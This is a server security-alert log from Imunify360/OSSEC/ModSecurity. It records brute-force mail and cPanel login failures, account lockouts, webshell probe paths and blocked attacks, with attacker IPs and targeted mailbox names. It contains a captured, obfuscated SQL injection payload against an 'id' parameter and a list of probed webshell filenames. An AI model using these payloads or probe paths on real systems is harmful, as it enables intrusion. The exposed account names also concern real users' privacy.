2026-01-31 03:35:03 dovecot_login authenticator failed for H=([182.95.215.92]) [122.186.255.50]:59202: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:35:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.84.34.85
country_id: 1210997
description:
2026-01-31 03:35:12 dovecot_login authenticator failed for H=(ppp075.bol-online.com) [202.84.34.85]:50452: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:35:18 dovecot_login authenticator failed for H=(hxBvL5) [185.230.124.69]:55131: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.209.90.138
country_id: 2077456
description:
2026-01-31 03:36:12 dovecot_login authenticator failed for H=([123.209.90.138]) [123.209.90.138]:49470: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.149.213.242
country_id: 3469034
description:
2026-01-31 03:36:21 dovecot_login authenticator failed for H=([200.164.226.113]) [200.149.213.242]:47018: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.1.110.201
country_id: 1562822
description:
2026-01-31 03:36:29 dovecot_login authenticator failed for H=([42.1.110.203]) [42.1.110.201]:42304: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:36:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:36:11 dovecot_login authenticator failed for H=(vIMRN9e) [185.230.124.69]:55407: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.125.67.109
country_id: 1835841
description:
2026-01-31 03:36:20 dovecot_login authenticator failed for H=([39.125.67.109]) [39.125.67.109]:50406: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-01-31  3:36:41 9029 [Warning] Aborted connection 9029 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.52
country_id: 1668284
description:
2026-01-31 03:36:56 dovecot_login authenticator failed for H=110-25-109-52.adsl.fetnet.net [110.25.109.52]:54851: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.253.10.61
country_id: 1835841
description:
2026-01-31 03:37:06 dovecot_login authenticator failed for H=([211.253.10.61]) [211.253.10.61]:37486: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:37:04 dovecot_login authenticator failed for H=(PdStimhIp) [185.230.124.69]:59359: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:37:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.159.99.193
country_id: 6252001
description:
2026-01-31 03:38:54 dovecot_plain authenticator failed for H=(uniniate) [192.159.99.193]:49392: 535 Incorrect authentication data (set_id=khairul_aa@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.137.92
country_id: 1835841
domain: u-net.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home/unetcom/public_html/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.137.92
country_id: 1835841
domain: myfurnitureshop.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home/myfurnit/public_html/assets||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:38:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:38:25 dovecot_login authenticator failed for H=(k1gQRoUPB) [185.230.124.69]:63082: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-31 03:38:52 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.62.173.90
country_id: 1814991
description:
2026-01-31 03:39:52 dovecot_login authenticator failed for H=([111.62.173.90]) [111.62.173.90]:50244: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:39:18 dovecot_login authenticator failed for H=(RuAZhmhqh) [185.230.124.69]:55792: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.124.225.159
country_id: 2017370
description:
2026-01-31 03:40:20 dovecot_login authenticator failed for H=(host-94.124.225.159.gascom.net.ru) [94.124.225.159]:56324: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.250.118.12
country_id: 3865483
description:
2026-01-31 03:40:06 dovecot_login authenticator failed for H=([167.250.118.12]) [167.250.118.12]:44034: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:40:09 dovecot_login authenticator failed for H=(oudm3bK0O) [185.230.124.69]:63280: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.54.22.11
country_id: 1835841
description:
2026-01-31 03:40:15 dovecot_login authenticator failed for H=([14.54.22.11]) [14.54.22.11]:9142: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:41:26 dovecot_login authenticator failed for H=(neROqNo) [185.230.124.69]:64527: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.34.237.45
country_id: 285570
description:
2026-01-31 03:42:00 dovecot_login authenticator failed for H=([37.34.237.45]) [37.34.237.45]:47828: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.6.115.88
country_id: 1814991
description:
2026-01-31 03:41:51 dovecot_login authenticator failed for H=([183.6.115.88]) [183.6.115.88]:39978: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.157.195.127
country_id: 2464461
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=435578 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.140
country_id: 2635167
description:
2026-01-31  3:42:02 9193 [Warning] Aborted connection 9193 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.140' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:42:18 dovecot_login authenticator failed for H=(mIHzt1Df) [185.230.124.69]:58030: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.187.213.29
country_id: 6252001
description:
2026-01-31 03:42:34 dovecot_login authenticator failed for H=(made-again.tmesis.com) [24.187.213.29]:44822: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.228.134
country_id: 1269750
description:
2026-01-31 03:42:10 dovecot_login authenticator failed for H=(nsg-static-209.69.76.182-airtel.com) [128.185.228.134]:45252: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:43:11 dovecot_login authenticator failed for H=(0byfYaTh) [185.230.124.69]:63141: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.231.0.209
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&sub=37 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:43:35 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.125.227.177
country_id: 1269750
domain: thinkcloud.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:79004.thinkcloud.com.my||ServerName:thinkcloud.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:26bccaecb9c4468493842a4d741644f0f7019b7f||Title:0xddbe992c||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:44:03 dovecot_login authenticator failed for H=(xBnozSTsRC) [185.230.124.69]:61528: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:44:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.78.152.240
country_id: 1861060
domain: mymetal.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home2/cabecom/public_html/assets||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:45:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:45:14 dovecot_login authenticator failed for H=(bU2GGCa) [185.230.124.69]:59905: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.248.107.130
country_id: 1269750
description:
2026-01-31 03:46:49 dovecot_login authenticator failed for H=([115.244.235.242]) [117.248.107.130]:43952: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.181.235.173
country_id: 102358
description:
2026-01-31 03:46:05 dovecot_login authenticator failed for H=(ADMIN) [95.181.235.173]:11075: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:46:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.16.192.32
country_id: 1835841
description:
2026-01-31 03:46:28 dovecot_login authenticator failed for H=([59.16.192.32]) [59.16.192.32]:48682: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.194.148
country_id: 1880251
domain: stealthvenom.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/2024/index.php||SC:/home2/cabecom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:46:13 dovecot_login authenticator failed for H=(WBlgniZO3i) [185.230.124.69]:53299: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-31 03:46:46 H=([64.89.160.15]) [64.89.160.15]:57015 F=<essenas@outlook.com> rejected RCPT <roz@af-sb.com>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:47:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:47:03 dovecot_login authenticator failed for H=(Inlkq2) [185.230.124.69]:57720: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 03:47:21 dovecot_login authenticator failed for H=(9eudRAzNuw) [158.94.209.22]:56482: 535 Incorrect authentication data (set_id=seng-tet.poong)


plugin: modsec
rule: 77350097
name: IM360 WAF: SQL Injection via id parameter
abuser: 209.126.85.246
country_id: 6252001
domain: smartcable.com.my
description:
IM360 WAF: SQL Injection via id parameter||MV:806703 /**//**/OR/**/JSON_KEYS((SELECT/**/CONVERT((SELECT/**/CONCAT(0x736b5958,(SELECT/**/(ELT(2836=2836,1))),0x6d466865))/**/USING/**/utf8)))\r||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.199.113.235
country_id: 3017382
domain: thinkcloud.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home2/thinkcloudadmin/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-01-31 03:48:49 dovecot_login authenticator failed for H=(netcomafrica.com) [41.219.149.74]:17671: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 209.126.85.246
country_id: 6252001
domain: smartcable.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:806703 /**//**/or/**/json_keys((select/**/convert((select/**/concat(0x736b5958,(select/**/(elt(2836=2836,1))),0x6d466865))/**/using/**/utf8)))\r||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 03:48:15 dovecot_login authenticator failed for H=(yTISqZkebo) [158.94.209.22]:52543: 535 Incorrect authentication data (set_id=seng-tet.poong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:48:16 dovecot_login authenticator failed for H=(IfZJ6ud81q) [185.230.124.69]:55594: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:49:07 dovecot_login authenticator failed for H=(bfAxxxbK61) [185.230.124.69]:51471: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.227.242.214
country_id: 290557
description:
2026-01-31 03:49:52 dovecot_login authenticator failed for H=([80.227.242.214]) [80.227.242.214]:40736: 535 Incorrect authentication data (set_id=ysl)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.199.113.235
country_id: 3017382
domain: thinkcloud.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home2/thinkcloudadmin/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.114.149.106
country_id: 1814991
description:
2026-01-31 03:49:05 dovecot_login authenticator failed for H=([124.114.149.106]) [124.114.149.106]:44336: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 03:49:09 dovecot_login authenticator failed for H=(sIdzce) [158.94.209.22]:59086: 535 Incorrect authentication data (set_id=seng-tet.poong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.137
country_id: 2017370
description:
2026-01-31 03:49:38 dovecot_login authenticator failed for H=([178.178.194.137]) [178.178.194.137]:49990: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 03:50:57 dovecot_login authenticator failed for H=(P0jhJNnG) [158.94.209.22]:60465: 535 Incorrect authentication data (set_id=seng-tet.poong)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 03:50:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account seng-tet.poong has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.163.14.232
country_id: 1835841
description:
2026-01-31 03:50:13 dovecot_plain authenticator failed for H=(1k3p2bk9yt3spl5u1gijcjz4kgyz) [221.163.14.232]:49640: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.140.123.244
country_id: 1269750
domain: aire-fresh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home/airefresh/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.61.48.234
country_id: 1835841
description:
2026-01-31 03:50:45 dovecot_login authenticator failed for H=([125.61.48.234]) [125.61.48.234]:36561: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.239.129.2
country_id: 1814991
description:
2026-01-31 03:50:58 dovecot_login authenticator failed for H=(2.129.239.124.broad.ts.he.dynamic.163data.com.cn) [124.239.129.2]:57634: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 03:50:03 dovecot_login authenticator failed for H=(iIrOthHLB) [158.94.209.22]:54142: 535 Incorrect authentication data (set_id=seng-tet.poong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:50:23 dovecot_login authenticator failed for H=(Ust6Oyzt) [185.230.124.69]:51689: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:51:06 dovecot_login authenticator failed for H=(0zyz23cXT) [185.230.124.69]:56415: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.172.203.43
country_id: 1814991
description:
2026-01-31 03:51:10 dovecot_login authenticator failed for H=([220.172.203.43]) [220.172.203.43]:33360: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.251.67.85
country_id: 2017370
description:
2026-01-31 03:51:23 dovecot_login authenticator failed for H=([87.251.67.85]) [87.251.67.85]:57920: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:51:52 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 03:51:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account seng-tet.poong has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 03:51:15 dovecot_login authenticator failed for H=(3QTZ3WjBw) [158.94.209.22]:56419: 535 Incorrect authentication data (set_id=seng-tet.poong)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.140
country_id: 2635167
description:
2026-01-31  3:52:33 9686 [Warning] Aborted connection 9686 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.140' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 03:52:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account seng-tet.poong has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 03:52:09 dovecot_login authenticator failed for H=(D83i8LYdb) [158.94.209.22]:55917: 535 Incorrect authentication data (set_id=seng-tet.poong)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:52:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.225.203.106
country_id: 1814991
description:
2026-01-31 03:52:48 dovecot_login authenticator failed for H=([122.225.203.106]) [122.225.203.106]:58101: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:52:04 dovecot_login authenticator failed for H=(OS8p7Tg6) [185.230.124.69]:55711: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.17.35.83
country_id: 6252001
description:
[2026-01-31 03:53:54 +0800] info [cpaneld] 100.17.35.83 - cofreth "GET /login/?login_only=1&user=cofreth&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofreth (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 03:53:03 dovecot_login authenticator failed for H=(n2HyJ8o) [158.94.209.22]:62104: 535 Incorrect authentication data (set_id=seng-tet.poong)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.140.123.244
country_id: 1269750
domain: acburn.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home2/acburnco/public_html/assets/images||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:53:20 dovecot_login authenticator failed for H=(dxMnpbaoI) [185.230.124.69]:56322: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.8.91.175
country_id: 6252001
description:
[2026-01-31 03:53:50 +0800] info [cpaneld] 67.8.91.175 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 03:53:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account seng-tet.poong has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.140
country_id: 2635167
description:
2026-01-31  3:53:53 9736 [Warning] Aborted connection 9736 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.140' (This connection closed normally without authentication)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.205.253.138
country_id: 6252001
description:
[2026-01-31 03:53:58 +0800] info [cpaneld] 73.205.253.138 - cofrethcomm "GET /login/?login_only=1&user=cofrethcomm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofrethcomm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.221.67.69
country_id: 6252001
description:
[2026-01-31 03:53:47 +0800] info [cpaneld] 71.221.67.69 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.86
country_id: 1036973
description:
2026-01-31 03:53:03 dovecot_login authenticator failed for H=(dynamic-adsl.movitel.co.mz) [197.219.210.86]:43396: 535 Incorrect authentication data (set_id=zainuddin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/druma.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.122.192.129
country_id: 6252001
description:
[2026-01-31 03:53:56 +0800] info [cpaneld] 69.122.192.129 - cofrethcommy "GET /login/?login_only=1&user=cofrethcommy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofrethcommy (has_cpuser_file failed)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:53:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:53:04 dovecot_login authenticator failed for H=(8f5djUty) [185.230.124.69]:64222: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.172.118.155
country_id: 6252001
description:
[2026-01-31 03:54:39 +0800] info [cpaneld] 174.172.118.155 - cofreth6 "GET /login/?login_only=1&user=cofreth6&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofreth6 (has_cpuser_file failed)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 03:54:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account seng-tet.poong has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.74.226.254
country_id: 6252001
description:
